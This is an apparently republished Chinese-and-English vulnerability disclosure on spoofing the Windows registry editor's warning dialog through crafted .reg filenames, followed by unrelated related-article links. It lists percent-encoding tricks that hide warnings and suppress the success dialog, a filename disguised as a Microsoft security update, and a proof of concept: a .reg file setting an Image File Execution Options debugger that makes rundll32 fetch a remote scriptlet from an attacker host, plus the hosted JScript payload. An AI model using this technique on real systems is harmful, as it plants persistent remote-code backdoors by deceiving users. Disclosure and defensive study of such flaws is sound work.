Microsoft Windows .Reg文件对话框消息欺骗 0day

概述

  扩展名为.reg的文件是Windows注册表中使用的注册文件。这些文件可以包含hives、密钥和值。.reg文件可以在文本编辑器中新建,也可以由Windows注册表在备份注册表时生成。

漏洞类型

reg文件对话框消息欺骗

CVE编号

N/A

安全问题

  Windows注册表编辑器允许自定义.reg文件名来欺骗并展现给终端用户的默认注册表的警告对话框。这可能会诱使部分不懂(小白)的用户选择对话框中显示的错误选项。此外,我们可以拒绝注册表编辑器显示缺省辅助状态对话框(Win 10)的功能,从而隐藏我们的攻击。

  通常,当用户打开一个.reg文件时,UAC将启动(如果用户以管理员身份运行),如果目标是一个非私有用户,我们仍然可以劫持HKCU reg设置,而不需要处理UAC。在他们得到注册表安全警告对话框询问他们是否“信任源”和“您确定要继续吗?”等,并将有“是”或“否”的选择。

  但是,我们可以通过文件名传入我们自己的消息,诱使用户错误地单击“是”,正如预期的“您确定要继续吗?”对话框消息在我们的控制之下。注册表对话框将回显文件名和我们添加的所有文本,并允许我们屏蔽其一部分默认的安全警告消息。我们使用文件名中的%编码字符(如%n或%r和%0)来实现这一点。

  例如,“不要将其添加到注册表”和“确定要继续吗?”这一类默认的警告可以使用%0来截断。

  这个欺骗漏洞让我们可以欺骗“您确定要继续吗?”警告消息改为“单击确定”或其他我们喜欢的内容。可能会让用户认为他们正在取消注册表导入。

在Windows 10中拒绝二级注册表编辑器状态对话框(隐藏攻击):

-----------------------------

  通常,在成功导入之后,注册表编辑器会弹出另一个对话框,其中显示一条状态消息,告诉我们“<REGFILE>中包含的键和值已成功添加到注册表中”。

  我们可以使用%1或%25在文件名的末尾加上一个(null),比如:“Microsoft-Security-Update-v1.2-Windows-10.r%e%g% nC%l%i%c%k%b%Y%e% b%b%b%1%0.reg”,来阻止上述的消息出现,从而阻止这个辅助注册表编辑器对话框出现。

  如果不希望使用(null),请使用%3,但它将显示一个宽字符,但这仍然可以阻止二级注册表对话框出现。在使用这些对话框拒绝服务方法时,必须手动刷新写入的注册表,以便查看存储的值。

  注意:拒绝二级对话框似乎只适用于Windows 10。

  本次发现的使用注册表文件名影响对话框的行为,取决于Windows版本,不同的操作系统您将得到不同的结果。

编码在文件名中的作用:

% 可用于混淆,如%h%a%t%e =hate

%b 空格

%n 换行

%r 换行

%1创建(null)——这很重要,因为我们可以防止在成功导入之后出现第二个注册表对话框!

%0 重要的截断字符串

%25 (Windows 10)创建(null)-重要的是,我们防止第二个注册表对话框出现后,成功导入!

%3 重要,我们防止第二个注册表对话框出现成功导入!(但会显示宽字符)

%5 (Windows 10)复制默认注册表对话框消息的次数为“n”次,每次将%5注入文件名的次数为“n”次

%25 (Windows 7)复制默认注册表对话框消息的次数为“n”次,每次将%25注入文件名的次数为“n”次

%2525阻止打开注册表编辑器

%169将在对话框中显示我们的junky文件名 (我们不想看到的)

%3、%197、%17等将注册表对话框中显示的默认语言更改为宽字符等

  每个注入的字符可以用百分号“%”分隔,而不会影响我们欺骗的消息,我们可以利用这一点来混淆文件名的结尾。然后,我们使用%0截断消息字符串,以便第二个.reg扩展名和缺省注册表消息不会显示在注册表对话框中。

  文件名“Microsoft-Security-Update-v1.2 - Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg将显示为“Microsoft-Security-Update-v1.2-Windows-10”。注册表对话框中的“reg”,以及我们欺骗的用户引导文字。

  虽然这个欺骗漏洞需要用户交互和绕过Windows UAC(如果目标是管理员)提示符才能成功,但是我们可以防止二级注册表对话框并修改显示给用户的注册表消息,这使得它成为一个可行的攻击载体。如果我们攻击成功,就可以在用户认为他们已经中止导入的同时实现一个持久的RCE后门。此外,针对非特权用户允许我们劫持程序,而不用担心UAC。

POC视频URL

https://vimeo.com/322684636

Exploit/POC
持久远程代码执行后门:

这将向“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe”添加条目。

对于一个针对ie浏览器的持久rundll32有效负载,它引用了基于远程服务器的JScript XML文件。

1) 创建一个名为Windows.reg的注册表文件,写入以下内容。

"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"

Registry file Contents.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe]

"debugger"="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:http://<;ATTACKER-IP>/backdoor\")"

2) 创建一个位于http://attackerip/backdoor的XML文件,该文件的名称简单地称为“backdoor”,将在Microsoft Internet Explorer启动时执行Windows calc.exe。

<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script>
</component>
</package>

--------------------

[Product]
A file with the .reg file extension is a Registration file
used by the Windows registry. These files can contain hives, keys, and
values.
.reg files can be created from scratch in a text editor or
can be produced by the Windows registry when backing up parts of the
registry.

[Vulnerability Type]
Windows .Reg File Dialog Box Message Spoofing

[CVE Reference]
N/A

[Security Issue]
The
Windows registry editor allows specially crafted .reg filenames to
spoof the default registry dialog warning box presented to an end user. This
can potentially trick unsavvy users into choosing the wrong selection
shown on the dialog box. Furthermore, we can deny the registry editor its ability to show the default secondary status dialog box (Win 10), thereby hiding the fact that our attack was successful.

Normally
when a user opens a .reg file UAC will launch (if user is run as Admin)
if targeting a non privleged user we can still hijack HKCU reg settings without
having to deal with UAC. After they will get the registry security
warning dialog box asking them if they "trust the source" and "Are you sure you want to continue?" etc and will also have a choice of either 'Yes' or 'No' to select from.

However,
we can inject our own messages thru the filename to direct the user to
wrongly click "Yes", as the expected "Are you sure you want to
continue?" dialog box message is under our control. The registry
dialog echoes back the filename plus any text we add and allows us to
terminate part of its default security warning message. We achieve this using % encoded characters in the filename like %n or %r and %0.

Example,
the "do not add it to the registry" and "Are you sure you want to
continue?" default warning messages can be done away with using %0.

This
spoofing flaw lets us spoof the "Are you sure you want to continue?"
warning message to instead read "Click Yes" or whatever else we like.Potentially making a user think they are cancelling the registry import as the security warning dialog box is now lying to them.

Denial of secondary registry editor status dialog box (hiding successful attacks) in Windows 10:
------------------------------------------------------------------------------------------------
Typically, upon a successful import the registry editor pops up another dialog box with a status message telling us "the keys and values contained in <REGFILE> have been successfully added to the registry".

We
can obstruct that behavior to deny this secondary registry editor
dialog from appearing by tacking on a (null) right before the end of our filename using %1 or %25 like: "Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"

If
don't want to use (null) use %3 but it will display a asian char
instead but still prevents the secondary registry dialog box you.You
will have to manually refresh the registry written to in order to see
the values stored when using these dialog denial of service methods.

Note: Denial of the secondary dialog box seems to only work on Windows 10.

Behaviors
I discovered playing with registry filenames that affect the dialog
box, depending on Windows OS version you will get different results.

% - can be used for obfuscation e.g. %h%a%t%e = hate
%b will create white-space
%n makes a newline
%r makes a newline
%1 creates (null) - important as we prevent the second registry dialog from appearing after a successful import!
%0 Important terminates string
%25 (Windows 10) creates (null) - Important as we prevent the second registry dialog from appearing after a successful import!
%3 - Important as we prevent the second registry dialog from appearing after a successful import! (but shows asian char)
%5
(Windows 10) duplicates the default registry dialog box message by "n"
amount of times per amount of %5 injected into the filename
%25
(Windows 7) duplicates the default registry dialog box message by "n"
amount of times per amount of %25 injected into the filename
%2525 prevents registry editor from opening
%169 will show our junky filename in the dialog box (we don't want that)
%3, %197, %17 and some others change the default language shown in the registry dialog box to asian characters etc

Each
injected character can be separated by a percent "%" sign without
messing up our spoofed message, we can leverage this to obfuscate the
end of the filename.We then use %0 to terminate the message string
so that the second .reg extension and default registry messages are not
displayed in the registry dialog box.

The filename
"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
will show as "Microsoft-Security-Update-v1.2-Windows-10.reg" in the registry dialog box, along with our spoofed user directions.

While
this spoofing vulnerability requires user interaction and bypassing
Windows UAC (if targeting Admin) prompt to succeed, the fact the we can
prevent secondary registry dialogs and modify registry messages
displayed to the user makes it a viable attack vector. If we are
successful in our attack we can achieve a persistent RCE backdoor all
while the user thinks they have aborted the import. Moreover, targeting
a non privileged user allows us to hijack programs and not worry about
UAC.

[POC Video URL]
https://vimeo.com/322684636

[Exploit/POC]
Persistent Remote Code Execution Backdoor:

This
will add entry to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\iexplore.exe" for a persistent rundll32 payload targeting MSIE that references a JScript XML based file on our remote server.

1) Create a Windows .REG Registry file named.

"Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"

Registry file Contents.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe]

"debugger"="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:http://<;ATTACKER-IP>/backdoor\")"

2) Create an XML file hosted at http://ATTACKER-IP/backdoor named simply as "backdoor" will execute Windows calc.exe when Microsoft Internet Explorer is launched.

<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>

Microsoft Windows .Reg File Dialog Box Message Spoofing 0day的更多相关文章

  1. Creating Dialogbased Windows Application (4) / 创建基于对话框的Windows应用程序(四)Edit Control、Combo Box的应用、Unicode转ANSI、Open File Dialog、文件读取、可变参数、文本框自动滚动 / VC++, Windows

    创建基于对话框的Windows应用程序(四)—— Edit Control.Combo Box的应用.Unicode转ANSI.Open File Dialog.文件读取.可变参数.自动滚动 之前的介 ...

  2. Installing node-oracledb on Microsoft Windows

    版本 7 由 Laura Ramsey-Oracle 于 2015-10-19 下午11:46创建,最后由 cj 于 2015-10-22 下午7:44修改. Installing node-orac ...

  3. "Hello World!" for Microsoft Windows

    "Hello World!" for Microsoft Windows It's time to write your first application! The follow ...

  4. Microsoft Windows的消息循环

    https://zh.wikipedia.org/wiki/Microsoft_Windows的訊息迴圈 微软视窗操作系统是以事件驱动做为程序设计的基础.程序的线程会从操作系统获取消息.应用程序会不断 ...

  5. Install and run DB Query Analyzer 6.04 on Microsoft Windows 10

          Install and run DB Query Analyzer 6.04 on Microsoft Windows 10  DB Query Analyzer is presented ...

  6. The useful App Paths registry key : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths how to load BPLs without writ ...

  7. Inaccurate values for “Currently allocated space” and “Available free space” in the Shrink File dialog for TEMPDB only

    转载自:http://blogs.msdn.com/b/ialonso/archive/2012/10/08/inaccurate-values-for-currently-allocated-spa ...

  8. Demonstration of DB Query Analyzer 6.03 Installation and Running on Microsoft Windows 8

    Demonstration of DB Query Analyzer 6.03 Installation and Running on Microsoft Windows 8 Ma Genfeng ( ...

  9. DB Query Analyzer 6.03, the most excellent Universal DB Access tools on any Microsoft Windows OS

      DB Query Analyzer 6.03, the most excellent Universal database Access tools on any Microsoft Wind ...

随机推荐

  1. ava EE 7 - Injection into Runnable/Callable object ejb entityManager Concurrency ManagedExecutorService 异步调用如何获取context

    或者直接把 MyTask类内嵌如MyBean中,这样可以在myBean中inject 数据库连接,在内嵌类内访问. java ee 引入了并发执行.因为是在服务器执行并发,所以要用java ee包里面 ...

  2. 洛谷P4242 树上的毒瘤

    解:首先有个套路是一条边的权值是[两端点颜色不同].这个用树剖直接维护,支持修改. 每次询问建虚树,查询虚树上每条边的权值.然后树形DP,用开店的方法,每个点链加链查. #include <bi ...

  3. (链表 双指针) leetcode 160. Intersection of Two Linked Lists

    Write a program to find the node at which the intersection of two singly linked lists begins. For ex ...

  4. Vue(基础七)_webpack(webpack异步加载原理)

    ---恢复内容开始--- 一.前言 1.webpack异步加载原理’                                           2.webpack.ensure原理     ...

  5. vue初始化页面dom操纵 $nextTick

    new Vue({ el: '#app', data:{ }, mounted: function () {/*生命周期函数*/ this.$nextTick(function () { $(&quo ...

  6. 简单BootLoader

    目录 简单BootLoader 概述 NOR与NAND启动 链接脚本规划 初始化规划 参数设置 title: 简单BootLoader tags: linux date: 2018-09-28 23: ...

  7. Numpy 笔记: 多维数组的切片(slicing)和索引(indexing)【转】

    目录 切片(slicing)操作 索引(indexing) 操作 最简单的情况 获取多个元素 切片和索引的同异 切片(slicing)操作 Numpy 中多维数组的切片操作与 Python 中 lis ...

  8. MyBatis-${}与#{}

    一.看两种取值的效果 <select id="selectMyUserIdAndAge" resultType="myUser"> select * ...

  9. Nginx记录-nginx 负载均衡5种配置方式(转载)

    nginx 负载均衡5种配置方式 1.轮询(默认)   每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除.  2.weight 指定轮询几率,weight和访问比率成 ...

  10. 查询sql数据库中表占用的空间大小

    最近在给一家客户做系统维护时,需要查看数据库表的大小,相关的sql如下: 先在左上角下拉框中选对要查的数据库再执行以下语句 1. exec sp_spaceused '表名'          --( ...